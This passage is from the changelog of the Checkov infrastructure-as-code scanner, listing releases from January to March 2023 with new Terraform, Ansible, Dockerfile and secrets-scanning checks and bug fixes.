[#4681](https://github.com/bridgecrewio/checkov/pull/4681) - **terraform:** AWS ensure Sagemaker Notebook users are not Root - [#4676](https://github.com/bridgecrewio/checkov/pull/4676) - **terraform:** Sagemaker Notebook In Custom VPC - [#4675](https://github.com/bridgecrewio/checkov/pull/4675) - **terraform:** Terraform runner with the new TF parser - [#4728](https://github.com/bridgecrewio/checkov/pull/4728) ### Bug Fix - **gitlab:** fixing include scope that predominant all others - [#4735](https://github.com/bridgecrewio/checkov/pull/4735) ### Documentation - **general:** fix small typo - [#4725](https://github.com/bridgecrewio/checkov/pull/4725) ## [2.3.110](https://github.com/bridgecrewio/checkov/compare/2.3.108...2.3.110) - 2023-03-22 ### Bug Fix - **graph:** Fix an issue in and connection solver - [#4719](https://github.com/bridgecrewio/checkov/pull/4719) ## [2.3.108](https://github.com/bridgecrewio/checkov/compare/2.3.105...2.3.108) - 2023-03-21 ### Feature - **secrets:** add option to get and set the secret store - [#4707](https://github.com/bridgecrewio/checkov/pull/4707) ### Platform - **graph:** Ignore SyntaxWarning in variable rendering - [#4718](https://github.com/bridgecrewio/checkov/pull/4718) ## [2.3.105](https://github.com/bridgecrewio/checkov/compare/2.3.102...2.3.105) - 2023-03-20 ### Feature - **general:** add flag to skip cert verification - [#4641](https://github.com/bridgecrewio/checkov/pull/4641) - **secrets:** Override secrets validation flag with tenant config - [#4701](https://github.com/bridgecrewio/checkov/pull/4701) ## [2.3.102](https://github.com/bridgecrewio/checkov/compare/2.3.96...2.3.102) - 2023-03-19 ### Feature - **terraform:** AWS Ensure cloudfront has a default root - [#4673](https://github.com/bridgecrewio/checkov/pull/4673) - **terraform:** AWS ensure secret rotation is less than 90 days - [#4672](https://github.com/bridgecrewio/checkov/pull/4672) - **terraform:** AWS Secrets are rotated - [#4671](https://github.com/bridgecrewio/checkov/pull/4671) - **terraform:** ensure DB snapshots arent public - [#4667](https://github.com/bridgecrewio/checkov/pull/4667) - **terraform:** ensure SSM docs are private - [#4668](https://github.com/bridgecrewio/checkov/pull/4668) - **terraform:** lambda permission is not public - [#4666](https://github.com/bridgecrewio/checkov/pull/4666) ### Bug Fix - **general:** Custom policies integration correct check IDs filtering - [#4700](https://github.com/bridgecrewio/checkov/pull/4700) - **sca:** return empty result when using BC API key in IDE - [#4694](https://github.com/bridgecrewio/checkov/pull/4694) - **terraform:** add extra handling around private GitHub Terraform modules - [#4699](https://github.com/bridgecrewio/checkov/pull/4699) ## [2.3.96](https://github.com/bridgecrewio/checkov/compare/2.3.95...2.3.96) - 2023-03-16 ### Feature - **ansible:** Ansible panos security policy checks - [#4639](https://github.com/bridgecrewio/checkov/pull/4639) - **terraform:** s3 bucket has event notifications - [#4660](https://github.com/bridgecrewio/checkov/pull/4660) - **terraform:** s3 ensure failed uploads are deleted id=300!!!! - [#4662](https://github.com/bridgecrewio/checkov/pull/4662) ### Bug Fix - **gitlab:** index_out_of_range - [#4677](https://github.com/bridgecrewio/checkov/pull/4677) - **terraform:** Revert "feat(terraform): support provider blocks yaml policy checks (… - [#4680](https://github.com/bridgecrewio/checkov/pull/4680) ## [2.3.95](https://github.com/bridgecrewio/checkov/compare/2.3.92...2.3.95) - 2023-03-15 ### Feature - **sca:** filter twistcli results with empty package name and version - [#4670](https://github.com/bridgecrewio/checkov/pull/4670) - **terraform:** Support new TFParser in the local graph (under env var) - [#4664](https://github.com/bridgecrewio/checkov/pull/4664) - **terraform:** support provider blocks yaml policy checks - [#4656](https://github.com/bridgecrewio/checkov/pull/4656) ## [2.3.92](https://github.com/bridgecrewio/checkov/compare/2.3.85...2.3.92) - 2023-03-14 ### Feature - **sca:** fix unexpected maven packageName - cycloneDX - [#4663](https://github.com/bridgecrewio/checkov/pull/4663) - **sca:** skipping finding IsPrivateFixVersion by default - [#4648](https://github.com/bridgecrewio/checkov/pull/4648) - **sca:** support inline CVE suppression in requirements.txt - [#4630](https://github.com/bridgecrewio/checkov/pull/4630) - **secrets:** allow scanning just partial history of commits - [#4659](https://github.com/bridgecrewio/checkov/pull/4659) - **terraform:** Refactor Module mapping objects - [#4661](https://github.com/bridgecrewio/checkov/pull/4661) - **terraform:** s3 to have lifecycle policy - [#4658](https://github.com/bridgecrewio/checkov/pull/4658) ### Bug Fix - **secrets:** fix git history partial scan - [#4665](https://github.com/bridgecrewio/checkov/pull/4665) ## [2.3.85](https://github.com/bridgecrewio/checkov/compare/2.3.79...2.3.85) - 2023-03-13 ### Feature - **secrets:** support git history scan in multiline parsers - [#4637](https://github.com/bridgecrewio/checkov/pull/4637) - **terraform:** Definitions serialization with new definitions key/module objects - [#4655](https://github.com/bridgecrewio/checkov/pull/4655) - **terraform:** support variable rendering for default objects in vars - [#4650](https://github.com/bridgecrewio/checkov/pull/4650) ### Bug Fix - **arm:** Fix resource type check in SQLServerAuditingRetention90Days - [#4657](https://github.com/bridgecrewio/checkov/pull/4657) - **general:** check suppression id instead of policy id - [#4646](https://github.com/bridgecrewio/checkov/pull/4646) - **gitlab:** Modify GitLab CI resource ids - [#4647](https://github.com/bridgecrewio/checkov/pull/4647) ## [2.3.79](https://github.com/bridgecrewio/checkov/compare/2.3.75...2.3.79) - 2023-03-12 ### Feature - **terraform:** Fix for foreach subgraph rendering - [#4649](https://github.com/bridgecrewio/checkov/pull/4649) - **terraform:** new checks on new resources - [#4491](https://github.com/bridgecrewio/checkov/pull/4491) ### Platform - **general:** skip uploading repo for VSCode source - [#4643](https://github.com/bridgecrewio/checkov/pull/4643) ## [2.3.75](https://github.com/bridgecrewio/checkov/compare/2.3.71...2.3.75) - 2023-03-09 ### Feature - **general:** add Terraform JSON support - [#4626](https://github.com/bridgecrewio/checkov/pull/4626) - **terraform:** Adding yaml based build time policies for corresponding PC runtime policies - [#4605](https://github.com/bridgecrewio/checkov/pull/4605) ### Bug Fix - **arm:** ignore incomplete resource in ARM templates - [#4636](https://github.com/bridgecrewio/checkov/pull/4636) - **terraform:** stop handle resource `for_each` as dynamic attribute - [#4632](https://github.com/bridgecrewio/checkov/pull/4632) ## [2.3.71](https://github.com/bridgecrewio/checkov/compare/2.3.70...2.3.71) - 2023-03-08 ### Bug Fix - **terraform:** v2 settings valid for windows and linux web apps - [#4628](https://github.com/bridgecrewio/checkov/pull/4628) ## [2.3.70](https://github.com/bridgecrewio/checkov/compare/2.3.66...2.3.70) - 2023-03-07 ### Feature - **ansible:** add Ansible check for CKV_PAN_4 for PAN-OS DSRI - [#4608](https://github.com/bridgecrewio/checkov/pull/4608) - **dockerfile:** Add tdnf support for CKV2_DOCKER_9 - [#4620](https://github.com/bridgecrewio/checkov/pull/4620) - **terraform:** Check added for AWS Database instance deletion protection - [#4616](https://github.com/bridgecrewio/checkov/pull/4616) - **terraform:** CloudtrailEventDataStoreUsesCMK - [#4621](https://github.com/bridgecrewio/checkov/pull/4621) ### Bug Fix - **bicep:** handle malformed files in bicep parser - [#4629](https://github.com/bridgecrewio/checkov/pull/4629) - **cloudformation:** KMSKeyWildCardPrincipal modification - Check for wildcards inside of lists - [#4590](https://github.com/bridgecrewio/checkov/pull/4590) - **terraform:** in sg rules ignore self referencing - [#4603](https://github.com/bridgecrewio/checkov/pull/4603) ## [2.3.66](https://github.com/bridgecrewio/checkov/compare/2.3.59...2.3.66) - 2023-03-06 ### Feature - **gitlab:** fix wrong resource in gitlab-ci - [#4610](https://github.com/bridgecrewio/checkov/pull/4610) - **terraform:** Support the -1 protocol on SG checks - [#4611](https://github.com/bridgecrewio/checkov/pull/4611) - **terraform:** TF Parser support of new modules keys - [#4601](https://github.com/bridgecrewio/checkov/pull/4601) ### Bug Fix - **bicep:** extend CKV_AZURE_4 to consider omsAgent to be written in camelCase - [#4614](https://github.com/bridgecrewio/checkov/pull/4614) - **general:** refactor SARIF output - [#4606](https://github.com/bridgecrewio/checkov/pull/4606) - **general:** skip scanning invalid resources - [#4617](https://github.com/bridgecrewio/checkov/pull/4617) - **sca:** Added an error log for Twistcli failures - [#4613](https://github.com/bridgecrewio/checkov/pull/4613) - **terraform:** stop evaluating a string ... to the Ellipsis object - [#4623](https://github.com/bridgecrewio/checkov/pull/4623) ## [2.3.59](https://github.com/bridgecrewio/checkov/compare/2.3.57...2.3.59) - 2023-03-05 ### Bug Fix - **general:** do not stop getting fixes if one attempt results in a 403 - [#4607](https://github.com/bridgecrewio/checkov/pull/4607) - **gha:** skip schema validity check if parsing returned None - [#4609](https://github.com/bridgecrewio/checkov/pull/4609) - **secrets:** Adjust output to include the additional Git History info - [#4566](https://github.com/bridgecrewio/checkov/pull/4566) ## [2.3.57](https://github.com/bridgecrewio/checkov/compare/2.3.53...2.3.57) - 2023-03-02 ### Feature - **ansible:** Add checks for the ansible builtin dnf module - [#4570](https://github.com/bridgecrewio/checkov/pull/4570) - **dockerfile:** Add new dockerfile checks - [#4569](https://github.com/bridgecrewio/checkov/pull/4569) - **terraform:** Create a new TF parser - [#4584](https://github.com/bridgecrewio/checkov/pull/4584) ### Bug Fix - **secrets:** only check secrets framework when scanning history - [#4592](https://github.com/bridgecrewio/checkov/pull/4592) - **terraform:** AWS - there's a new sg vpc ingress rule - [#4575](https://github.com/bridgecrewio/checkov/pull/4575) - **terraform:** Azurerm NSG UDP check should work for old style but still valid tf - [#4454](https://github.com/bridgecrewio/checkov/pull/4454) ## [2.3.53](https://github.com/bridgecrewio/checkov/compare/2.3.50...2.3.53) - 2023-03-01 ### Feature - **terraform:** Add foreach_attrs in saved graph - [#4587](https://github.com/bridgecrewio/checkov/pull/4587) - **terraform:** Set foreach_attrs directly under the block - [#4586](https://github.com/bridgecrewio/checkov/pull/4586) - **terraform:** TF foreach - Support updating each.value in nested dict - [#4588](https://github.com/bridgecrewio/checkov/pull/4588) ### Bug Fix - **sca:** Set prisma token and scan packages by v2 for IDE scans - [#4580](https://github.com/bridgecrewio/checkov/pull/4580) - **terraform:** fix CKV_AWS_70 test and add graph for coverage of data source - [#4542](https://github.com/bridgecrewio/checkov/pull/4542) - **terraform:** TF foreach - Avoid rendering in static statements - [#4583](https://github.com/bridgecrewio/checkov/pull/4583) ### Documentation - **ansible:** add Ansible policy docs generation - [#4582](https://github.com/bridgecrewio/checkov/pull/4582) ## [2.3.50](https://github.com/bridgecrewio/checkov/compare/2.3.48...2.3.50) - 2023-02-28 ### Bug Fix - **terraform:** add not exists conditional to CKV2_AWS_16 to account for defaults - [#4578](https://github.com/bridgecrewio/checkov/pull/4578) ## [2.3.48](https://github.com/bridgecrewio/checkov/compare/2.3.44...2.3.48) - 2023-02-27 ### Feature - **secrets:** track complete file deletion and renaming - [#4551](https://github.com/bridgecrewio/checkov/pull/4551) - **terraform:** Adding yaml based build time policies for corresponding PC runtime policies - [#4529](https://github.com/bridgecrewio/checkov/pull/4529) ### Bug Fix - **ansible:** support skip check for Ansible Python-based checks - [#4556](https://github.com/bridgecrewio/checkov/pull/4556) - **terraform:** Handle unescaped lookup values - [#4565](https://github.com/bridgecrewio/checkov/pull/4565) ## [2.3.44](https://github.com/bridgecrewio/checkov/compare/2.3.39...2.3.44) - 2023-02-26 ### Feature - **dockerfile:** Add check for the environment variable NPM_CONFIG_STRICT_SSL - [#4553](https://github.com/bridgecrewio/checkov/pull/4553) - **terraform:** TF Parser - Move funcs and consts to utils file - [#4550](https://github.com/bridgecrewio/checkov/pull/4550) ### Bug Fix - **terraform_plan:** Fix tf plan nested modules - [#4562](https://github.com/bridgecrewio/checkov/pull/4562) - **terraform:** fix for #4518 - [#4528](https://github.com/bridgecrewio/checkov/pull/4528) - **terraform:** Move get_module back to parser - [#4560](https://github.com/bridgecrewio/checkov/pull/4560) - **terraform:** remove dynamic warning exc_info - [#4563](https://github.com/bridgecrewio/checkov/pull/4563) ## [2.3.39](https://github.com/bridgecrewio/checkov/compare/2.3.36...2.3.39) - 2023-02-23 ### Feature - **dockerfile:** Add checks for disabling signature checks for apk, apt-get, rpm, yum, dnf - [#4404](https://github.com/bridgecrewio/checkov/pull/4404) - **terraform:** New classes for the TF module model - [#4546](https://github.com/bridgecrewio/checkov/pull/4546) ### Bug Fix - **gha:** Align GHA resource ids (Graph vs Python checks) - [#4549](https://github.com/bridgecrewio/checkov/pull/4549) ## [2.3.36](https://github.com/bridgecrewio/checkov/compare/2.3.33...2.3.36) - 2023-02-22 ### Feature - **arm:** add graph capabilities to ARM framework - [#4526](https://github.com/bridgecrewio/checkov/pull/4526) - **secrets:** add timeout for scan history checks - [#4523](https://github.com/bridgecrewio/checkov/pull/4523) - **secrets:** Support secret findings in git history - [#4525](https://github.com/bridgecrewio/checkov/pull/4525) ## [2.3.33](https://github.com/bridgecrewio/checkov/compare/2.3.29...2.3.33) - 2023-02-21 ### Feature - **gitlab:** fix gitlab ci yaml file processing - [#4536](https://github.com/bridgecrewio/checkov/pull/4536) - **sca:** adding is_registry_url and printing in the cyclonedx only private registries urls - [#4533](https://github.com/bridgecrewio/checkov/pull/4533) - **sca:** support also the key "registryUrl" when extracting registry_url for the report - [#4535](https://github.com/bridgecrewio/checkov/pull/4535) ### Bug Fix - **terraform:** Optional module content path - [#4537](https://github.com/bridgecrewio/checkov/pull/4537) ## [2.3.29](https://github.com/bridgecrewio/checkov/compare/2.3.28...2.3.29) - 2023-02-20 ### Bug Fix - **cloudformation:** Update CKV_AWS_46 to handle base64 encoded userdata - [#4530](https://github.com/bridgecrewio/checkov/pull/4530) ## [2.3.28](https://github.com/bridgecrewio/checkov/compare/2.3.23...2.3.28) - 2023-02-19 ### Feature - **secrets:** add flag for scan secrets history - [#4513](https://github.com/bridgecrewio/checkov/pull/4513) - **terraform:** Used parentheses in key for foreach attributes but not count - [#4520](https://github.com/bridgecrewio/checkov/pull/4520) ### Bug Fix - **gha:** fix output flag for usage in checkov-action - [#4517](https://github.com/bridgecrewio/checkov/pull/4517) - **terraform:** add datasource option for headers check - [#4496](https://github.com/bridgecrewio/checkov/pull/4496) - **terraform:** optimize check CKV2_AWS_60 - [#4512](https://github.com/bridgecrewio/checkov/pull/4512) ### Platform - **general:** Use new enforcement categories (#4456) - [#4519](https://github.com/bridgecrewio/checkov/pull/4519) ## [2.3.23](https://github.com/bridgecrewio/checkov/compare/2.3.22...2.3.23) - 2023-02-18 ### Feature - **ansible:** Add checks for the ansible builtin apt module - [#4500](https://github.com/bridgecrewio/checkov/pull/4500) ### Bug Fix - **gha:** now looks for GHA on windows - [#4515](https://github.com/bridgecrewio/checkov/pull/4515) ## [2.3.22](https://github.com/bridgecrewio/checkov/compare/2.3.18...2.3.22) - 2023-02-16 ### Feature - **sca:** adding registry-url to the cyclonedx output report - [#4511](https://github.com/bridgecrewio/checkov/pull/4511) - **secrets:** Add capability to iterate over git history - [#4469](https://github.com/bridgecrewio/checkov/pull/4469) - **terraform:** Adding yaml based build time policies for corresponding PC run time policies - [#4425](https://github.com/bridgecrewio/checkov/pull/4425) ### Bug Fix - **secrets:** import git - [#4514](https://github.com/bridgecrewio/checkov/pull/4514) ## [2.3.18](https://github.com/bridgecrewio/checkov/compare/2.3.14...2.3.18) - 2023-02-15 ### Feature - **sca:** add registry urls and description to the output report and to the csv report - [#4485](https://github.com/bridgecrewio/checkov/pull/4485) ### Bug Fix - **ansible:** skip unsupported Ansible resources - [#4504](https://github.com/bridgecrewio/checkov/pull/4504) - **terraform:** Fix an str split edge case in function - [#4507](https://github.com/bridgecrewio/checkov/pull/4507) - **terraform:** fix enforcement rules mapping - [#4509](https://github.com/bridgecrewio/checkov/pull/4509) ## [2.3.14](https://github.com/bridgecrewio/checkov/compare/2.3.7...2.3.14) - 2023-02-14 ### Feature - **secrets:** log and filter potential uuid case - [#4486](https://github.com/bridgecrewio/checkov/pull/4486) - **terraform:** Assign/override main vertices by the first new vertice. - [#4493](https://github.com/bridgecrewio/checkov/pull/4493) - **terraform:** Support for loops in foreach statements - [#4483](https://github.com/bridgecrewio/checkov/pull/4483) ### Bug Fix - **terraform:** Handle KeyError in hadle_for_loop func - [#4501](https://github.com/bridgecrewio/checkov/pull/4501) - **terraform:** Handle type error in `_handle_for_loop_in_dict` - [#4495](https://github.com/bridgecrewio/checkov/pull/4495) - **terraform:** skip loading module that calls to the same dir - [#4499](https://github.com/bridgecrewio/checkov/pull/4499) ### Platform - **general:** Use new enforcement categories - [#4456](https://github.com/bridgecrewio/checkov/pull/4456) ### Documentation - **general:** update installation on Alpine docs - [#4474](https://github.com/bridgecrewio/checkov/pull/4474) ## [2.3.7](https://github.com/bridgecrewio/checkov/compare/2.3.3...2.3.7) - 2023-02-13 ### Feature - **graph:** Add UT as an example of not-exists for the nested list. - [#4484](https://github.com/bridgecrewio/checkov/pull/4484) - **secrets:** Save secrets line number - [#4488](https://github.com/bridgecrewio/checkov/pull/4488) - **terraform:** AWS:check global DocDB cluster is encrypted - [#4405](https://github.com/bridgecrewio/checkov/pull/4405) - **terraform:** check msk nodes are private - [#4392](https://github.com/bridgecrewio/checkov/pull/4392) - **terraform:** support more json encoded objects as part of terraform resource and fix evaluation of true/false in json - [#4487](https://github.com/bridgecrewio/checkov/pull/4487) ### Bug Fix - **ansible:** support nested blocks and empty module values - [#4479](https://github.com/bridgecrewio/checkov/pull/4479) - **cloudformation:** Updated AWS_CKV_7 to not require rotation on asymmetric keys - [#4476](https://github.com/bridgecrewio/checkov/pull/4476) ## [2.3.3](https://github.com/bridgecrewio/checkov/compare/2.3.0...2.3.3) - 2023-02-09 ### Feature - **secrets:** limit multiline regex detector run - [#4453](https://github.com/bridgecrewio/checkov/pull/4453) - **terraform:** Add foreach_attrs to config objects + UTs - [#4463](https://github.com/bridgecrewio/checkov/pull/4463) - **terraform:** GCP: Ensure Basic role are not used at Org/Folder/Project level (CKV_GCP_115, CKV_GCP_116, CKV_GCP_117) - [#4390](https://github.com/bridgecrewio/checkov/pull/4390) ### Bug Fix - **kustomize:** fix kustomize file path cli - [#4466](https://github.com/bridgecrewio/checkov/pull/4466) - **terraform:** Allow different type of value in BaseResourceValueCheck - [#4470](https://github.com/bridgecrewio/checkov/pull/4470) - **terraform:** deny statements with wildcards are valid - [#4440](https://github.com/bridgecrewio/checkov/pull/4440) ## [2.3.0](https://github.com/bridgecrewio/checkov/compare/2.2.356...2.3.0) - 2023-02-09 ### Breaking Change - **gha:** adjust the attribute reference for GitHub Actions graph checks - [#4445](https://github.com/bridgecrewio/checkov/pull/4445) - **terraform:** enable nested modules by default - [#4448](https://github.com/bridgecrewio/checkov/pull/4448) ### Feature - **general:** Create 3d combinations post runner - [#4353](https://github.com/bridgecrewio/checkov/pull/4353) ### Bug Fix - **gha:** fix GHA _get_jobs edge case (string step) - [#4444](https://github.com/bridgecrewio/checkov/pull/4444) - **graph:** added graph init to igraph db connector - [#4455](https://github.com/bridgecrewio/checkov/pull/4455) ## [2.2.356](https://github.com/bridgecrewio/checkov/compare/2.2.348...2.2.356) - 2023-02-08 ### Feature - **sca:** Add support for Dotnet files - [#4189](https://github.com/bridgecrewio/checkov/pull/4189) - **terraform:** Create new resources for count/foreach resources - [#4427](https://github.com/bridgecrewio/checkov/pull/4427) - **terraform:** extend CKV2_AWS_5 to support aws_ec2_spot_fleet_request - [#4438](https://github.com/bridgecrewio/checkov/pull/4438) ### Bug Fix - **general:** Correct BigQueryDatasetEncryptedWithCMK name field - [#4443](https://github.com/bridgecrewio/checkov/pull/4443) - **kubernetes:** Fix empty spec in k8s file - [#4452](https://github.com/bridgecrewio/checkov/pull/4452) - **kustomize:** Fix kustomize cli file path - [#4447](https://github.com/bridgecrewio/checkov/pull/4447) - **secrets:** remove CKV_SECRET_78 from SECRET_TYPE_TO_ID - [#4446](https://github.com/bridgecrewio/checkov/pull/4446) - **terraform:** change module index separator in full path - [#4437](https://github.com/bridgecrewio/checkov/pull/4437) ## [2.2.348](https://github.com/bridgecrewio/checkov/compare/2.2.341...2.2.348) - 2023-02-07 ### Feature - **cloudformation:** support new default s3 encryption - [#4429](https://github.com/bridgecrewio/checkov/pull/4429) - **graph:** added indices to igraph nodes - [#4433](https://github.com/bridgecrewio/checkov/pull/4433) - **secrets:** Add args to analyze line is added and is removed for git history scan - [#4426](https://github.com/bridgecrewio/checkov/pull/4426) ### Bug Fix - **secrets:** Comment out checkob multiline regex detectors - [#4441](https://github.com/bridgecrewio/checkov/pull/4441) - **terraform:** Fix updating resource config - [#4432](https://github.com/bridgecrewio/checkov/pull/4432) ### Platform - **secrets:** Add secrets custom regex on file - [#4430](https://github.com/bridgecrewio/checkov/pull/4430) ## [2.2.341](https://github.com/bridgecrewio/checkov/compare/2.2.335...2.2.341) - 2023-02-06 ### Feature - **ansible:** add support for Ansible blocks - [#4419](https://github.com/bridgecrewio/checkov/pull/4419) - **general:** Control check failure logging level - [#4431](https://github.com/bridgecrewio/checkov/pull/4431) - **graph:** add validation for graph checks - [#4352](https://github.com/bridgecrewio/checkov/pull/4352) - **kubernetes:** support inline skips for Kubernetes graph checks - [#4412](https://github.com/bridgecrewio/checkov/pull/4412) - **secrets:** remove secrets dependency in generic record - [#4424](https://github.com/bridgecrewio/checkov/pull/4424) ### Bug Fix - **kustomize:** remove redundant error in kustomize runner - [#4428](https://github.com/bridgecrewio/checkov/pull/4428) ### Documentation - **general:** fix graph check link in docs - [#4420](https://github.com/bridgecrewio/checkov/pull/4420) ## [2.2.335](https://github.com/bridgecrewio/checkov/compare/2.2.332...2.2.335) - 2023-02-05 ### Feature - **kustomize:** support kustomize v5 - [#4411](https://github.com/bridgecrewio/checkov/pull/4411) - **terraform:** [Foreach/Count Handling] Render dynamic foreach/count statement - [#4398](https://github.com/bridgecrewio/checkov/pull/4398) ### Bug Fix - **general:** Checks edge-cases fixes in terraform and openapi - [#4414](https://github.com/bridgecrewio/checkov/pull/4414) - **general:** Skip resources with no 'Type' defined + Checks containing wildcards for resource types leads to crash - [#4408](https://github.com/bridgecrewio/checkov/pull/4408) - **terraform:** fix getting the module for resource named 'module' - [#4418](https://github.com/bridgecrewio/checkov/pull/4418) - **terraform:** retire CKV_AWS_128 in favour of CKV_AWS_162 - [#4350](https://github.com/bridgecrewio/checkov/pull/4350) - **terraform:** SQS check was all types of wrong - [#4382](https://github.com/bridgecrewio/checkov/pull/4382) ## [2.2.332](https://github.com/bridgecrewio/checkov/compare/2.2.331...2.2.332) - 2023-02-04 ### Bug Fix - **cloudformation:** Don't fail Aurora instances for MultiAZ not being set - [#4316](https://github.com/bridgecrewio/checkov/pull/4316) ## [2.2.331](https://github.com/bridgecrewio/checkov/compare/2.2.330...2.2.331) - 2023-02-03 ### Bug Fix - **general:** fix compact json output - [#4406](https://github.com/bridgecrewio/checkov/pull/4406) ## [2.2.330](https://github.com/bridgecrewio/checkov/compare/2.2.327...2.2.330) - 2023-02-02 ### Feature - **sca:** Add a --support flag - [#4397](https://github.com/bridgecrewio/checkov/pull/4397) - **sca:** Add a --support flag --revert - [#4396](https://github.com/bridgecrewio/checkov/pull/4396) - **secrets:** add workdir info to secrets scanner - [#4400](https://github.com/bridgecrewio/checkov/pull/4400) - **secrets:** extract new detector_utils file from entropy keyword combinator - [#4385](https://github.com/bridgecrewio/checkov/pull/4385) ### Bug Fix - **general:** Remove empty links from GitLab SAST output - [#4393](https://github.com/bridgecrewio/checkov/pull/4393) ## [2.2.327](https://github.com/bridgecrewio/checkov/compare/2.2.320...2.2.327) - 2023-02-01 ### Feature - **gha:** add gha permissions lines - [#4372](https://github.com/bridgecrewio/checkov/pull/4372) - **sca:** add extract nodes igraph - [#4359](https://github.com/bridgecrewio/checkov/pull/4359) - **sca:** create bom report when extra_resources is not empty - [#4388](https://github.com/bridgecrewio/checkov/pull/4388) - **secrets:** add support for runnable secrets plugins - [#4368](https://github.com/bridgecrewio/checkov/pull/4368) - **terraform:** add CKV_GCP_114 to ensure that Public Access Prevention is enforced on GoogleCloudStorage bucket. - [#4347](https://github.com/bridgecrewio/checkov/pull/4347) - **terraform:** Add cloudsplaining checks to tf aws_iam_policy CKV_AWS_287-290 - [#4386](https://github.com/bridgecrewio/checkov/pull/4386) - **terraform:** get static foreach/count values of resources - [#4374](https://github.com/bridgecrewio/checkov/pull/4374) ## [2.2.320](https://github.com/bridgecrewio/checkov/compare/2.2.316...2.2.320) - 2023-01-31 ### Feature - **sca:** Add a --support flag - [#4323](https://github.com/bridgecrewio/checkov/pull/4323) - **sca:** added extra supported package files to find_scannable_files - [#4378](https://github.com/bridgecrewio/checkov/pull/4378) - **terraform:** add reset edges function to terraform local graph - [#4373](https://github.com/bridgecrewio/checkov/pull/4373) - **terraform:** Added base class for cloudsplaining iam checks to be integrated between data and resource objects - [#4338](https://github.com/bridgecrewio/checkov/pull/4338) - **terraform:** Added basic check with test for tf resource with IAM privilege escalation - [#4376](https://github.com/bridgecrewio/checkov/pull/4376) ### Bug Fix - **cloudformation:** Skip SAM Global Tags propagation - [#4383](https://github.com/bridgecrewio/checkov/pull/4383) - **sca:** extend image name validation - [#4377](https://github.com/bridgecrewio/checkov/pull/4377) - **terraform:** simple check naming fix - [#4371](https://github.com/bridgecrewio/checkov/pull/4371) ## [2.2.316](https://github.com/bridgecrewio/checkov/compare/2.2.312...2.2.316) - 2023-01-30 ### Feature - **sca:** ignore package.json file when yarn.lock exists - [#4370](https://github.com/bridgecrewio/checkov/pull/4370) - **terraform:** GCP check kms policy does not define public access - [#4190](https://github.com/bridgecrewio/checkov/pull/4190) - **terraform:** GCP check policy isn't public - [#4194](https://github.com/bridgecrewio/checkov/pull/4194) ### Bug Fix - **sca:** support BC_VUL_X IDs in GitLab SAST output - [#4360](https://github.com/bridgecrewio/checkov/pull/4360) ## [2.2.312](https://github.com/bridgecrewio/checkov/compare/2.2.305...2.2.312) - 2023-01-29 ### Feature - **azure:** fix container latest tag missing results - [#4337](https://github.com/bridgecrewio/checkov/pull/4337) ### Bug Fix - **azure:** Add `.*.` in azure checks to check in lists as well - [#4355](https://github.com/bridgecrewio/checkov/pull/4355) - **azure:** Azure checks fixes - [#4342](https://github.com/bridgecrewio/checkov/pull/4342) - **azure:** Azure checks fixes - [#4354](https://github.com/bridgecrewio/checkov/pull/4354) - **azure:** Support string function_app min_tls_version as well - [#4357](https://github.com/bridgecrewio/checkov/pull/4357) - **kubernetes:** k8s checks fixes - [#4343](https://github.com/bridgecrewio/checkov/pull/4343) - **sca:** Fix multiple issues related to IR - [#4358](https://github.com/bridgecrewio/checkov/pull/4358) - **terraform:** Terraform checks fixes - [#4344](https://github.com/bridgecrewio/checkov/pull/4344) ## [2.2.305](https://github.com/bridgecrewio/checkov/compare/2.2.304...2.2.305) - 2023-01-28 ### Feature - **general:** Add GitLab SAST output - [#4315](https://github.com/bridgecrewio/checkov/pull/4315) ## [2.2.304](https://github.com/bridgecrewio/checkov/compare/2.2.302...2.2.304) - 2023-01-26 ### Bug Fix - **kubernetes:** skip extracting pods for custom resources - [#4334](https://github.com/bridgecrewio/checkov/pull/4334) - **sca:** require requests 2.27.0 - [#4339](https://github.com/bridgecrewio/checkov/pull/4339) ### Documentation - **general:** fix env var name to `CKV_IGNORE_HIDDEN_DIRECTORIES` - [#4335](https://github.com/bridgecrewio/checkov/pull/4335) ## [2.2.302](https://github.com/bridgecrewio/checkov/compare/2.2.299...2.2.302) - 2023-01-25 ### Feature - **general:** igraph library support - [#4327](https://github.com/bridgecrewio/checkov/pull/4327) ### Bug Fix - **general:** add missing header in --list output - [#4329](https://github.com/bridgecrewio/checkov/pull/4329) - **kubernetes:** extract pods only for supported resources - [#4330](https://github.com/bridgecrewio/checkov/pull/4330) - **sca:** catch exceptional error during SCA results polling - [#4331](https://github.com/bridgecrewio/checkov/pull/4331) - **terraform:** change terraform nested modules path separators - [#4319](https://github.com/bridgecrewio/checkov/pull/4319) - **terraform:** handle unexpected container definition type - [#4328](https://github.com/bridgecrewio/checkov/pull/4328) ## [2.2.299](https://github.com/bridgecrewio/checkov/compare/2.2.292...2.2.299) - 2023-01-24 ### Feature - **azure:** change detect image source - [#4320](https://github.com/bridgecrewio/checkov/pull/4320) - **general:** add empty azure image check - [#4308](https://github.com/bridgecrewio/checkov/pull/4308) - **general:** add logs for async license and image retrieval - [#4317](https://github.com/bridgecrewio/checkov/pull/4317) - **sca:** Support the new --image flag along the --docker-image flag - [#4314](https://github.com/bridgecrewio/checkov/pull/4314) ### Bug Fix - **general:** ignore repo_id setting when list flag is set - [#4313](https://github.com/bridgecrewio/checkov/pull/4313) - **kubernetes:** handle k8s resource with missing required data - [#4318](https://github.com/bridgecrewio/checkov/pull/4318) - **secrets:** Change s3 path for enriched secrets upload - [#4275](https://github.com/bridgecrewio/checkov/pull/4275) - **terraform:** handle unexpected container type - [#4311](https://github.com/bridgecrewio/checkov/pull/4311) ### Documentation - **general:** Update README for supported Python versions - [#4305](https://github.com/bridgecrewio/checkov/pull/4305) ## [2.2.292](https://github.com/bridgecrewio/checkov/compare/2.2.289...2.2.292) - 2023-01-23 ### Feature - **terraform:** new app service checks for azurerm - [#4072](https://github.com/bridgecrewio/checkov/pull/4072) ### Bug Fix - **general:** In case of a non-JSON response, log the response - [#4304](https://github.com/bridgecrewio/checkov/pull/4304) - **terraform_plan:** fix in deep analysis - [#4306](https://github.com/bridgecrewio/checkov/pull/4306) - **terraform:** fix default behaviour of CKV_GCP_19 - [#4289](https://github.com/bridgecrewio/checkov/pull/4289) ## [2.2.289](https://github.com/bridgecrewio/checkov/compare/2.2.281...2.2.289) - 2023-01-22 ### Feature - **general:** add Ansible framework - [#4244](https://github.com/bridgecrewio/checkov/pull/4244) - **general:** Allow using `--repo-root-for-plan-enrichment` flag in GitHub Actions - [#4292](https://github.com/bridgecrewio/checkov/pull/4292) - **secrets:** add new sanity test files for base64 entropy detector - [#4298](https://github.com/bridgecrewio/checkov/pull/4298) - **terraform:** Adding yaml based build time policies for corresponding PC run time policies - 